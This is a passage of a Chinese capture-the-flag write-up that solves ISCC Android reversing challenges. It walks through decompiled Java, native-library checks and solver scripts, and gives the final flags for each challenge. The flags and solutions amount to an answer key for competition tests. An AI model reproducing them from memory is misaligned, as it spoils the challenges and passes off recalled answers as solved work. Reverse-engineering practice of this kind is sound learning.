    while (dictb.index(i) + 64 * n - 8) % 5 != 0:
        n += 1
    p = (dictb.index(i) + 64 * n - 8) // 5
    print(dictb[p], end="")
print("")

file

所以拼接得到flag后半段base64的结果ZV9hbHRlcm5hdGl2ZV9tb2JpbGV9,解得e_alternative_mobile},与前半段拼接得到flag。

ISCC{displace_alternative_mobile}

Easy Mobile

这题jadx打开发现反编译结果不太理想,但是还是可以确定check点应该是tk.mcsog.iscc.a.a

file

但进去发现直接反编译失败了。

file

所以选择换反编译引擎。

其中Procyon给出的结果如下:

//
// Decompiled by Procyon - 2815ms
//
package tk.mcsog.iscc;

import java.security.spec.AlgorithmParameterSpec;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.NoSuchAlgorithmException;
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.Base64;
import java.nio.charset.StandardCharsets;
import java.util.Objects;

public class a
{
    public String a;
    public w1.a b;

    static {
        System.loadLibrary("iscc");
    }

    public a() {
        this.b = new w1.a();
    }

    private native boolean b(final String p0);

    public final boolean a(String a) {
        this.a = a;
        final int length = a.length();
        final boolean b = false;
        if (length < 16) {
            return false;
        }
        final w1.a b2 = this.b;
        final String substring = a.substring(0, 16);
        Objects.requireNonNull(b2);
        final int length2 = substring.length();
        int i = 3;
        final int n = 1;
        boolean b7 = false;
        Label_0680: {
            Label_0678: {
                if (length2 == 16) {
                    final String substring2 = substring.substring(0, 4);
                    final String substring3 = substring.substring(4, 8);
                    final String substring4 = substring.substring(8, 12);
                    final String substring5 = substring.substring(12, 16);
                    final byte[] bytes = substring2.getBytes(StandardCharsets.UTF_8);
                    int j = 0;
                    while (true) {
                    Label_0214:
                        while (true) {
                        Label_0526_Outer:
                            while (j < bytes.length) {
                                final byte b3 = bytes[j];
                                if (b3 != 67) {
                                    if (b3 != 73) {
                                        if (b3 != 83 || j != 1) {
                                            break Label_0214;
                                        }
                                    } else if (j > 0) {
                                        break Label_0214;
                                    }
                                } else if (j < 2) {
                                    break Label_0214;
                                }
                                ++j;
                                continue;
                                final boolean b4 = false;
                                if (b4) {
                                    final byte[] bytes2 = substring3.getBytes(StandardCharsets.UTF_8);
                                    final byte[] bytes3 = substring4.getBytes(StandardCharsets.UTF_8);
                                    int k = 0;
                                    while (true) {
                                    Label_0526:
                                        while (true) {
                                            while (k < 4) {
                                                final int n2 = bytes2[k] + bytes3[k];
                                                if (n2 != 110 && n2 != 126 && n2 != 185 && n2 != 192) {
                                                    final boolean b5 = false;
                                                    if (!b5) {
                                                        break Label_0678;
                                                    }
                                                    final byte[] encode = Base64.getEncoder().encode(substring5.getBytes(StandardCharsets.UTF_8));
                                                    for (int l = 0; l < 6; ++l) {
                                                        final byte b6 = encode[l];
                                                        if (b6 != 68) {
                                                            if (b6 != 81) {
                                                                if (b6 != 90) {
                                                                    if (b6 != 106) {
                                                                        if (b6 != 108) {
                                                                            break Label_0678;
                                                                        }
                                                                        if (l != 2) {
                                                                            break Label_0678;
                                                                        }
                                                                    }
                                                                    else if (l > 1) {
                                                                        break Label_0678;
                                                                    }
                                                                }
                                                                else if (l % 3 == 2) {
                                                                    break Label_0678;
                                                                }
                                                            }
                                                            else if (l < 5) {
                                                                break Label_0678;
                                                            }
                                                        }
                                                        else if (l != 3) {
                                                            break Label_0678;
                                                        }
                                                    }
                                                    if (encode[0] > encode[1]) {
                                                        break Label_0678;
                                                    }
                                                    b7 = true;
                                                    break Label_0680;
                                                }
                                                else {
                                                    ++k;
                                                }
                                            }
                                            int n3 = 0;
                                            while (n3 < 3) {
                                                final byte b8 = bytes2[n3];
                                                final int n4 = n3 + 1;
                                                final int n5 = b8 ^ bytes2[n4];
                                                n3 = n4;
                                                if (n5 != 5) {
                                                    n3 = n4;
                                                    if (n5 == 44) {
                                                        continue Label_0526_Outer;
                                                    }
                                                    n3 = n4;
                                                    if (n5 != 96) {
                                                        continue Label_0526;
                                                    }
                                                    continue Label_0526_Outer;
                                                }
                                            }
                                            for (int n6 = 0; n6 < 4; ++n6) {
                                                final int n7 = bytes2[n6] ^ bytes3[n6];
                                                if (n7 != 0 && n7 != 53 && n7 != 62 && n7 != 126) {
                                                    continue Label_0526;
                                                }
                                            }
                                            int n8 = 0;
                                            while (n8 < 3) {
                                                final byte b9 = bytes3[n8];
                                                final int n9 = n8 + 1;
                                                final int n10 = b9 ^ bytes3[n9];
                                                n8 = n9;
                                                if (n10 != 39) {
                                                    n8 = n9;
                                                    if (n10 == 85) {
                                                        continue Label_0526_Outer;
                                                    }
                                                    n8 = n9;
                                                    if (n10 != 123) {
                                                        continue Label_0526;
                                                    }
                                                    continue Label_0526_Outer;
                                                }
                                            }
                                            int n12;
                                            for (int n11 = 0; n11 < 2; n11 = n12) {
                                                final byte b10 = bytes2[n11];
                                                n12 = n11 + 1;
                                                final int n13 = bytes2[n11 + 2] ^ (b10 ^ bytes2[n12]);
                                                if (n13 != 27 && n13 != 82) {
                                                    continue Label_0526;
                                                }
                                            }
                                            break;
                                        }
                                        final boolean b5 = true;
                                        continue;
                                    }
                                }
                                break Label_0678;
                            }
                            if (bytes[0] + bytes[1] + bytes[2] + bytes[3] != 290) {
                                continue Label_0214;
                            }
                            break;
                        }
                        final boolean b4 = true;
                        continue;
                    }
                }
            }
            b7 = false;
        }
        boolean b11 = b;
        if (b7) {
            a = a.substring(16);
            if (a.length() < 16) {
                b11 = b;
            }
            else {
                final w1.a b12 = this.b;
                final String substring6 = a.substring(0, 16);
                Objects.requireNonNull(b12);
                final String substring7 = substring6.substring(0, 5);
                final String substring8 = substring6.substring(5, 10);
                final String substring9 = substring6.substring(10);
                Objects.requireNonNull(b12.a);
                final byte[] bytes4 = substring7.getBytes(StandardCharsets.UTF_8);
                for (int n14 = 0; n14 < 5; ++n14) {
                    bytes4[n14] -= 20;
                    bytes4[n14] ^= 0x5;
                }
                int n19 = 0;
                Label_1208: {
                    if (Arrays.equals(bytes4, new byte[] { 74, 62, 28, 32, 60 })) {
                        Objects.requireNonNull(b12.a);
                        boolean b13 = false;
                        Label_1045: {
                            try {
                                final String s = new String(Base64.getEncoder().encode(MessageDigest.getInstance("MD5").digest(substring8.getBytes(StandardCharsets.UTF_8))));
                                if (s.length() == 24) {
                                    final char[] array = new char[24];
                                    int n15 = 0;
                                    int n16 = 0;
                                    while (i >= 0) {
                                        if (n15 == 0) {
                                            for (int n17 = 5; n17 >= 0; --n17) {
                                                array[n16] = s.charAt(n17 * 4 + i);
                                                ++n16;
                                            }
                                            n15 = 1;
                                        }
                                        else {
                                            for (int n18 = 0; n18 <= 5; ++n18) {
                                                array[n16] = s.charAt(n18 * 4 + i);
                                                ++n16;
                                            }
                                            n15 = 0;
                                        }
                                        --i;
                                    }
                                    if (String.valueOf(array).equals("=K5blEMshGi=QLwCzVS1LUPy")) {
                                        b13 = true;
                                        break Label_1045;
                                    }
                                }
                            }
                            catch (final NoSuchAlgorithmException ex) {
                                ex.printStackTrace();
                            }
                            b13 = false;
                        }
                        if (b13) {
                            Objects.requireNonNull(b12.a);
                            try {
                                final Base64.Encoder encoder = Base64.getEncoder();
                                final byte[] encode2 = encoder.encode(substring7.getBytes(StandardCharsets.UTF_8));
                                final byte[] encode3 = encoder.encode(substring8.getBytes(StandardCharsets.UTF_8));
                                final byte[] bytes5 = substring9.getBytes(StandardCharsets.UTF_8);
                                final SecretKeySpec secretKeySpec = new SecretKeySpec(encode2, "DES");
                                final IvParameterSpec ivParameterSpec = new IvParameterSpec(encode3);
                                final Cipher instance = Cipher.getInstance("DES/CBC/PKCS7Padding");
                                instance.init(1, secretKeySpec, ivParameterSpec);
                                if (new String(encoder.encode(encoder.encodeToString(instance.doFinal(bytes5)).getBytes(StandardCharsets.UTF_8))).equals("SE9QN3RsOXBpVW89")) {
                                    n19 = n;
                                    break Label_1208;
                                }
                            }
                            catch (final Exception ex2) {
                                ex2.printStackTrace();
                            }
                        }
                    }
                    n19 = 0;
                }
                b11 = b;
                if (n19 != 0) {
                    a = a.substring(16);
                    if (a.length() > 100) {
                        b11 = b;
                    }
                    else if (!this.a.substring(32).equals(a)) {
                        b11 = b;
                    }
                    else {
                        b11 = this.b(a);
                    }
                }
            }
        }
        return b11;
    }
}

FernFlower给出的结果如下:

//
// Decompiled by FernFlower - 1019ms
//
package tk.mcsog.iscc;

import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.Base64;
import java.util.Objects;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class a {
   public String a;
   public w1.a b = new w1.a();

   static {
      System.loadLibrary("iscc");
   }

   private native boolean b(String var1);

   public final boolean a(String var1) {
      this.a = var1;
      int var2 = var1.length();
      boolean var3 = false;
      if (var2 < 16) {
         return false;
      } else {
         String var5;
         int var6;
         boolean var7;
         String var9;
         int var10;
         boolean var23;
         String var24;
         byte[] var26;
         byte[] var31;
         label296: {
            w1.a var4 = this.b;
            var5 = var1.substring(0, 16);
            Objects.requireNonNull(var4);
            var2 = var5.length();
            var6 = 3;
            var7 = true;
            if (var2 == 16) {
               String var8 = var5.substring(0, 4);
               var9 = var5.substring(4, 8);
               var24 = var5.substring(8, 12);
               var5 = var5.substring(12, 16);
               byte[] var28 = var8.getBytes(StandardCharsets.UTF_8);
               var2 = 0;

               label292: {
                  while(true) {
                     if (var2 >= var28.length) {
                        if (var28[0] + var28[1] + var28[2] + var28[3] == 290) {
                           var23 = true;
                           break label292;
                        }
                        break;
                     }

                     var10 = var28[var2];
                     if (var10 != 67) {
                        if (var10 != 73) {
                           if (var10 != 83 || var2 < 1 || var2 > 1) {
                              break;
                           }
                        } else if (var2 > 0) {
                           break;
                        }
                     } else if (var2 < 2) {
                        break;
                     }

                     ++var2;
                  }

                  var23 = false;
               }

               if (var23) {
                  var31 = var9.getBytes(StandardCharsets.UTF_8);
                  byte[] var25 = var24.getBytes(StandardCharsets.UTF_8);
                  var2 = 0;

                  label272: {
                     label271:
                     while(true) {
                        if (var2 >= 4) {
                           var2 = 0;

                           int var11;
                           while(var2 < 3) {
                              var11 = var31[var2];
                              var10 = var2 + 1;
                              var11 ^= var31[var10];
                              var2 = var10;
                              if (var11 != 5) {
                                 var2 = var10;
                                 if (var11 != 44) {
                                    var2 = var10;
                                    if (var11 != 96) {
                                       break label271;
                                    }
                                 }
                              }
                           }

                           for(var2 = 0; var2 < 4; ++var2) {
                              var10 = var31[var2] ^ var25[var2];
                              if (var10 != 0 && var10 != 53 && var10 != 62 && var10 != 126) {
                                 break label271;
                              }
                           }

                           var2 = 0;

                           byte var33;
                           while(var2 < 3) {
                              var33 = var25[var2];
                              var10 = var2 + 1;
                              var11 = var33 ^ var25[var10];
                              var2 = var10;
                              if (var11 != 39) {
                                 var2 = var10;
                                 if (var11 != 85) {
                                    var2 = var10;
                                    if (var11 != 123) {
                                       break label271;
                                    }
                                 }
                              }
                           }

                           for(var2 = 0; var2 < 2; var2 = var10) {
                              var33 = var31[var2];
                              var10 = var2 + 1;
                              byte var12 = var31[var10];
                              var2 = var31[var2 + 2] ^ var33 ^ var12;
                              if (var2 != 27 && var2 != 82) {
                                 break label271;
                              }
                           }

                           var23 = true;
                           break label272;
                        }

                        var10 = var31[var2] + var25[var2];
                        if (var10 != 110 && var10 != 126 && var10 != 185 && var10 != 192) {
                           break;
                        }

                        ++var2;
                     }

                     var23 = false;
                  }

                  if (var23) {
                     var26 = Base64.getEncoder().encode(var5.getBytes(StandardCharsets.UTF_8));
                     var2 = 0;

                     while(true) {
                        if (var2 >= 6) {
                           if (var26[0] <= var26[1]) {
                              var23 = true;
                              break label296;
                           }
                           break;
                        }

                        byte var34 = var26[var2];
                        if (var34 != 68) {
                           if (var34 != 81) {
                              if (var34 != 90) {
                                 if (var34 != 106) {
                                    if (var34 != 108 || var2 != 2) {
                                       break;
                                    }
                                 } else if (var2 > 1) {
                                    break;
                                 }
                              } else if (var2 % 3 == 2) {
                                 break;
                              }
                           } else if (var2 < 5) {
                              break;
                           }
                        } else if (var2 != 3) {
                           break;
                        }

                        ++var2;
                     }
                  }
               }
            }

            var23 = false;
         }

         boolean var13 = var3;
         if (var23) {
            var1 = var1.substring(16);
            if (var1.length() < 16) {
               var13 = var3;
            } else {
               w1.a var29 = this.b;
               var24 = var1.substring(0, 16);
               Objects.requireNonNull(var29);
               var9 = var24.substring(0, 5);
               var5 = var24.substring(5, 10);
               var24 = var24.substring(10);
               Objects.requireNonNull(var29.a);
               byte[] var14 = var9.getBytes(StandardCharsets.UTF_8);

               for(var2 = 0; var2 < 5; ++var2) {
                  var14[var2] = (byte)(var14[var2] - 20);
                  var14[var2] = (byte)(var14[var2] ^ 5);
               }

               label197: {
                  if (Arrays.equals(var14, new byte[]{74, 62, 28, 32, 60})) {
                     Objects.requireNonNull(var29.a);

                     label193: {
                        label192: {
                           label191: {
                              NoSuchAlgorithmException var10000;
                              label309: {
                                 boolean var10001;
                                 String var36;
                                 try {
                                    MessageDigest var15 = MessageDigest.getInstance("MD5");
                                    Base64.Encoder var16 = Base64.getEncoder();
                                    var36 = new String(var16.encode(var15.digest(var5.getBytes(StandardCharsets.UTF_8))));
                                    if (var36.length() != 24) {
                                       break label192;
                                    }
                                 } catch (NoSuchAlgorithmException var22) {
                                    var10000 = var22;
                                    var10001 = false;
                                    break label309;
                                 }

                                 char[] var38;
                                 try {
                                    var38 = new char[24];
                                 } catch (NoSuchAlgorithmException var21) {
                                    var10000 = var21;
                                    var10001 = false;
                                    break label309;
                                 }

                                 boolean var35 = false;
                                 var2 = 0;

                                 label183:
                                 while(true) {
                                    if (var6 < 0) {
                                       try {
                                          var13 = String.valueOf(var38).equals("=K5blEMshGi=QLwCzVS1LUPy");
                                          break label191;
                                       } catch (NoSuchAlgorithmException var18) {
                                          var10000 = var18;
                                          var10001 = false;
                                          break;
                                       }
                                    }

                                    if (!var35) {
                                       for(var10 = 5; var10 >= 0; --var10) {
                                          try {
                                             var38[var2] = var36.charAt(var10 * 4 + var6);
                                          } catch (NoSuchAlgorithmException var19) {
                                             var10000 = var19;
                                             var10001 = false;
                                             break label183;
                                          }

                                          ++var2;
                                       }

                                       var35 = true;
                                    } else {
                                       for(var10 = 0; var10 <= 5; ++var10) {
                                          try {
                                             var38[var2] = var36.charAt(var10 * 4 + var6);
                                          } catch (NoSuchAlgorithmException var20) {
                                             var10000 = var20;
                                             var10001 = false;
                                             break label183;
                                          }

                                          ++var2;
                                       }

                                       var35 = false;
                                    }

                                    --var6;
                                 }
                              }

                              NoSuchAlgorithmException var37 = var10000;
                              var37.printStackTrace();
                              break label192;
                           }

                           if (var13) {
                              var23 = true;
                              break label193;
                           }
                        }

                        var23 = false;
                     }

                     if (var23) {
                        label314: {
                           Objects.requireNonNull(var29.a);

                           try {
                              Base64.Encoder var30 = Base64.getEncoder();
                              var31 = var30.encode(var9.getBytes(StandardCharsets.UTF_8));
                              var14 = var30.encode(var5.getBytes(StandardCharsets.UTF_8));
                              var26 = var24.getBytes(StandardCharsets.UTF_8);
                              SecretKeySpec var27 = new SecretKeySpec(var31, "DES");
                              IvParameterSpec var39 = new IvParameterSpec(var14);
                              Cipher var32 = Cipher.getInstance("DES/CBC/PKCS7Padding");
                              var32.init(1, var27, var39);
                              var24 = new String(var30.encode(var30.encodeToString(var32.doFinal(var26)).getBytes(StandardCharsets.UTF_8)));
                              var13 = var24.equals("SE9QN3RsOXBpVW89");
                           } catch (Exception var17) {
                              var17.printStackTrace();
                              break label314;
                           }

                           if (var13) {
                              var23 = var7;
                              break label197;
                           }
                        }
                     }
                  }

                  var23 = false;
               }

               var13 = var3;
               if (var23) {
                  var1 = var1.substring(16);
                  if (var1.length() > 100) {
                     var13 = var3;
                  } else if (!this.a.substring(32).equals(var1)) {
                     var13 = var3;
                  } else {
                     var13 = this.b(var1);
                  }
               }
            }
         }

         return var13;
      }
   }
}

咱们两个都参考一下,主要以Procyon的为主,因为变量名舒服一点。

看开头可以发现,先把flag的前16位按四位一组给拆开了。

file

首先[0:4]是个稍微有点混淆的判断,实际意思是:

flag[0:16][0:4][2]==flag[0:16][0:4][3]==67
flag[0:16][0:4][0]=73
flag[0:16][0:4][1] == 83

也就是flag[0:16][0:4]=="ISCC"

file

然后看下面,应该是Procyon出了点问题,逻辑是错的,不过那个sum(flag[0:16][0:4])==290咱们已经满足了:67+67+73+83==290

file

那就去看看FernFlower的,可以看到在判断完sum(flag[0:16][0:4])==290之后,那个边界条件是被改变了的,所以放心进去就行。

file

可以看到先是flag[0:16][4:8][i]+flag[0:16][8:12][i]混着比了四轮,确保四个和是110126185192,不过具体下标不确定。

file

比完四轮后,进入上方>=4的条件,可以看出是在比flag[0:16][4:8][i]^flag[0:16][4:8][i+1]是不是54496,下标还是不确定。

file

然后又是四轮flag[0:16][4:8][i]^flag[0:16][8:12][i]比,看结果是不是05362126,下标还是不确定。

file

然后和上上个比较一样,只不过把flag[0:16][4:8]换成了flag[0:16][8:12],结果是3985123

file

然后又是比flag[0:16][4:8][i]^flag[0:16][4:8][i+1]^flag[0:16][4:8][i+2]比了两轮,结果是2782

file

最后成功到达边界,进入下个判断块。

file

然后下个判断块是关于flag[0:16][12:16]的,所以上面flag[0:16][4:8]flag[0:16][8:12]可以写个脚本爆破出来了。

from string import printable

for x1 in {5, 44, 96}:
    for x2 in {5, 44, 96}:
        if x2 == x1:
            continue
        for x3 in {5, 44, 96}:
            if x3 == x1 or x3 == x2:
                continue
            for y1 in {39,85,123}:
                for y2 in {39,85,123}:
                    if y2 == y1:
                        continue
                    for y3 in {39,85,123}:
                        if y3 == y1 or y3 == y2:
                            continue
                        for i in printable:
                            a1 = ord(i)
                            a2 = a1 ^ x1
                            a3 = a2 ^ x2
                            a4 = a3 ^ x3
                            for j in printable:
                                b1 = ord(j)
                                b2 = b1 ^ y1
                                b3 = b2 ^ y2
                                b4 = b3 ^ y3

                                if a1 + b1 not in {110, 126, 185, 192}:
                                    continue
                                if a2 + b2 not in {110, 126, 185, 192}:
                                    continue
                                if a3 + b3 not in {110, 126, 185, 192}:
                                    continue
                                if a4 + b4 not in {110, 126, 185, 192}:
                                    continue

                                if a1 ^ b1 not in {0, 53, 62, 126}:
                                    continue
                                if a2 ^ b2 not in {0, 53, 62, 126}:
                                    continue
                                if a3 ^ b3 not in {0, 53, 62, 126}:
                                    continue
                                if a4 ^ b4 not in {0, 53, 62, 126}:
                                    continue

                                print(chr(a1) + chr(a2) + chr(a3) + chr(a4))
                                print(chr(b1) + chr(b2) + chr(b3) + chr(b4))

得到flag[0:16][4:8]=="{W72"flag[0:16][4:8]=="Eb7L"

file

然后来看flag[0:16][12:16],主要逻辑就是先走6轮循环,判断base64(flag[0:16][12:16])的每位分别满足:

base64(flag[0:16][12:16])[3]==68
base64(flag[0:16][12:16])[5]==81
base64(flag[0:16][12:16])[0|1|4]==90
base64(flag[0:16][12:16])[0|1]==106
base64(flag[0:16][12:16])[2]==108

file

然后6轮循环后,去保证base64(flag[0:16][12:16])[0] <= base64(flag[0:16][12:16])[1],所以base64(flag[0:16][12:16])[0]base64(flag[0:16][12:16])[0]的取值有三种情况,90 9090 106106 106,那么base64(flag[0:16][12:16])分别是ZZlDZQZjlDZQjjlDZQ,只有ZjlDZQbase64后没有不可输出字符,所以flag[0:16][12:16]="f9Ce"

然后再来看后半段判断块,把flag[16:32]给拆成了flag[16:32][0:5]flag[16:32][5:10]flag[16:32][10:16]

file

这里先是对flag[16:32][0:5]按位异或了一波,然后比较。

file

直接写脚本解。

a = [74, 62, 28, 32, 60]
for i in range(5):
    a[i] = a[i]^5
    a[i] = a[i]+20
print(bytearray(a).decode())

得到flag[16:32][0:5]="cO-9M"

file

然后来看flag[16:32][5:10]的,就是先算出base64(md5(flag[16:32][5:10])),然后进行一波映射,得到=K5blEMshGi=QLwCzVS1LUPy

file

写个脚本逆就完事。

b = bytearray(b"=K5blEMshGi=QLwCzVS1LUPy")
c = bytearray(24)
x = 0
j = 23
while x <= 3:
    if x % 2 == 1:
        for i in range(0, 6):
            c[i*4+x] = b[j]
            j -= 1
    else:
        for i in range(5, -1, -1):
            c[i*4+x] = b[j]
            j -= 1
    x += 1
print(c)
print(base64.b64decode(c.decode()).hex())

得到md5495304d73b252c285b5301b93cb88ac9

file

反查得到flag[16:32][5:10]="87Ed-"

file

然后看flag[16:32][10:16],是用base64(flag[16:32][0:5])key,用base64(flag[16:32][5:10])iv,做DES/CBC/PKCS7Padding加密后再打了两重base64得到SE9QN3RsOXBpVW89,那先解一重base64得到HOP7tl9piUo=

file

然后去解一下DES,得到flag[16:32][10:16]="T46O4f"

file

最后是对flag[32:]传给b函数校验。

file

b果然是native函数。

file

那就用ida打开libso

file

主要逻辑就是for循环处理b[n-i]=a[i]^i,然后和目标结果比较。

写脚本直接逆。

a = r"""e'" &pv&(L;hIjkZ%7S66O`,D""".encode()
for i in range(25):
    print(chr(a[24-i]^i), end="")

得到flag[32:]="D-bL23U0-SaaEe5C87dc2540}"

file

拼接所有得到flag。

ISCC{W72Eb7Lf9CecO-9M87Ed-T46O4fD-bL23U0-SaaEe5C87dc2540}

好玩的?是新语言哦

尝试安装apk,发现安装不上,检查发现apk限制的安卓版本最低要求是API 32

E4572CA576F7CBDC70F17C5D978416A3.png

但实际上API 32还是测试版本,所以在手机上直接安装是不行的,要么选择在 Google 提供的Android版本为API 32的虚拟机中安装,要么修改AndroidManifest.xml文件来降低版本限制。

本处选择后者的方法,在任意安卓反编译工具中修改android:minSdkVersion字段小于等于自己的系统API版本即可。

AE610F33632535A985CA764BE445895E.png

安装后发现需要提供idflag进行校验,于是尝试逆向。

E96375C0422F89F8465288011EE3F222.jpg

发现/* compiled from: MainActivity.kt */字样以及多处import kotlin.*,说明编译自kotlin语言。

image.png

首先找到check按钮的挂载事件,名为m0onCreate$lambda3

image.png

观察其主要逻辑发现应该是kotlin的语法糖相关功能,实际核心内容就是取idflag调用m1onCreate$lambda3$check,然后根据结果打toast

image.png

观察目标函数,可以清晰发现有两条数据流。

image.png

其中id作为随机数种子产生一个随机数发生器记作Random,并产生了32字节的byte[]记作nextBytes,再把nextBytes每字节异或id,将结果记作arrayList,再将arrayList作为基数用之前的随机数发生器Random产生新的随机byte[]记作nextBytes2,最后把nextBytes每字节异或id后转成byte加上了Min_VALUE = 128,然后取16模,得到了arrayList2作为最终参与校验的数据。

flag先判断头尾是否是ISCC{...},然后去掉头尾得到substring,再转成byte[]得到bytes,每一字节判断是否在97~102之间,是的话减去87,或者在48~57之间就减去48,否则归零,记作arrayList4,然后将其转换成mutableList,并循环32轮,每轮执行mutableList[i ^ 23] = mutableList[i ^ 23] ^ mutableList[(i+1) % 32],将其也作为最终参与校验的数据。

最后判断二者相等即flag正确。

所以按思路写个逆向的flag计算脚本,此处以id=1为例。

import kotlin.random.Random

val id = 1

val random = Random(id)
val nextBytes = random.nextBytes(32)
val arrayList = nextBytes.map { (it.toInt() xor id).toByte() }
val nextBytes2 = random.nextBytes(arrayList.toByteArray())
val arrayList2 = nextBytes2.map { (it.toInt() xor id).toByte() }.map{ (it.toInt() + 128) % 16 }.toMutableList()

for (j in 31 downTo 0) {
    arrayList2[j xor 23] = arrayList2[j xor 23] xor arrayList2[(j + 1) % 32]
}
val flag = String(arrayList2.map {
    when(it) {
        in 10..15 -> it+87
        in 0..9 -> it+48
        else -> 0
    }.toByte()
}.toByteArray())
println("ISCC{$flag}")

image.png

运行结果为ISCC{1ff0bf7a101849722ef2b8249c8551fd},在app中输入发现如下提示:

185343380CE8264DFBA7675C711584CA.jpg

于是再次以id=114514运行脚本得到flag。

ISCC{19fb4dd02ea64ca8c96c868f6c5434e4}

EasyCryMobile

这题jadx打开可以发现3个activity都绑定了事件到w1.a类。

file

而其onClick分成了三个分支。

file

不过实际上就是调用各自activity里的native函数a去校验,所以咱去看libso就行。

ida打开,先看第一个校验函数。

file

主要就是对传进来的字符串每个字符进行s * s * s % 0xF619 * s % 0xF619 * s % 0xF619 * s % 0xF619 * s % 0xF619,然后和下面的五个数比较。

不过这边数据是一个变量存了俩字符的结果,所以有高低位,存储顺序是先低后高,所以写个脚本爆就完事。

flag = bytearray(5)
for v12 in range(1, 128):
    v13 = v12 * v12
    v21 = v13 * v12 % 63001 * v12 % 63001 * v12 % 63001 * v12 % 63001 * v12 % 63001
    if v21 == 42349:
        flag[0] = v12
    elif v21 == 12496:
        flag[1] = v12
    elif v21 == 33079:
        flag[2] = v12
        flag[3] = v12
    elif v21 == 44552:
        flag[4] = v12
print(flag.decode())

file

得到第一关的通关字符串ISCC{

然后再去看第二个校验函数,实际上就是走个148轮的s = s * s % 37523

file

不过这边需要注意的是,校验结果存储是v16[4]开始,但是校验的时候,前面v16[4]v17的低位都没管,直接从v17的高位开始的,所以也就是说这边通关字符串前5字节无所谓,那大概是让填之前的ISCC{

那就接着写脚本爆破。

flag = bytearray(5)
for i in range(0, 128):
    v8 = i
    for _ in range(148):
        v8 = v8 * i % 37523
    if v8 == 556:
        flag[0] = i
    elif v8 == 7101:
        flag[1] = i
    elif v8 == 1168:
        flag[2] = i
    elif v8 == 13899:
        flag[3] = i
    elif v8 == 18708:
        flag[4] = i
print(flag.decode())

得到第二关的通关字符串的需要校验的部分Ez_M0

file

最后来看第三个校验函数,这边我为了方便把变量名改成flag_对应的位置了,可以看到主要就是(s * s - 0x7cb1 * (((0x41B3 * s * s) >> 16) >> 13)) * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1

file

而最后的判定条件就是:

flag_12 ^ flag_14 = 0x5FD3
flag_13 ^ flag_9 = 0x477
flag_14 ^ flag_8 ^ flag_2 = 0x6171
flag_16 ^ flag_10 = 0x2CD9
flag_11 ^ flag_15 = 0xD05
flag_10 ^ flag_12 = 0x1F77
flag_13 = 0x5112
flag_15 = 0x6D3E
flag_6 ^ flag_16 ^ flag_10 = 0x246E
flag_5 ^ flag_1 = 0x6880
flag_8 ^ flag_2 = 0x242D
flag_3 ^ flag_7 = 0x4681
flag_2 ^ flag_4 = 0x6E55
flag_5 = 0x34AE
flag_4 ^ flag_6 ^ flag_16 ^ flag_10 = 0x7499
flag_7 = 0x1676

整理一下已知量和未知量,以及之前两次校验已知的flag1~flag10,就可以解方程了。

先去生成前两次校验已知的flag1~flag10

for i, s in enumerate(b"ISCC{Ez_M0"):
    s = (s * s - 0x7cb1 * (((0x41B3 * s * s) >> 16) >> 13)) * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1
    print(f"flag_{i+1} = {hex(s)}")
# 前两关已知
flag_1 = 0x5c2e
flag_2 = 0x3ea2
flag_3 = 0x50f7
flag_4 = 0x50f7
flag_5 = 0x34ae
flag_6 = 0x8b7
flag_7 = 0x1676
flag_8 = 0x1a8f
flag_9 = 0x5565
flag_10 = 0x5f8
# 已知
flag_13 = 0x5112
flag_15 = 0x6D3E
# 用来初始校验
assert flag_5 == 0x34AE
assert flag_7 == 0x1676
assert flag_5 ^ flag_1 == 0x6880
assert flag_3 ^ flag_7 == 0x4681
assert flag_2 ^ flag_4 == 0x6E55
assert flag_8 ^ flag_2 == 0x242D
assert flag_13 ^ flag_9 == 0x477
# 用来解
flag_11 = flag_15 ^ 0xD05  # 解 flag_11
flag_14 = flag_8 ^ flag_2 ^ 0x6171  # 解 flag_14
flag_16 = flag_10 ^ 0x2CD9  # 解 flag_16
flag_12 = flag_10 ^ 0x1F77  # 解 flag_12
# 用来二次校验
assert flag_6 ^ flag_16 ^ flag_10 == 0x246E
assert flag_4 ^ flag_6 ^ flag_16 ^ flag_10 == 0x7499
assert flag_12 ^ flag_14 == 0x5FD3

file

最后回去爆破flag就完事。

flag = bytearray(6)
for s in range(0, 128):
    v8 = (s * s - 0x7cb1 * (((0x41B3 * s * s) >> 16) >> 13)) * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1 * s % 0x7CB1
    if v8 == 0x603b:
        flag[0] = s
    elif v8 == 0x1a8f:
        flag[1] = s
    elif v8 == 0x5112:
        flag[2] = s
    elif v8 == 0x455c:
        flag[3] = s
    elif v8 == 0x6d3e:
        flag[4] = s
    elif v8 == 0x2921:
        flag[5] = s
print(flag.decode())

得到最后一段flagb_R5A}

file

拼接得到flag。

ISCC{Ez_M0b_R5A}


End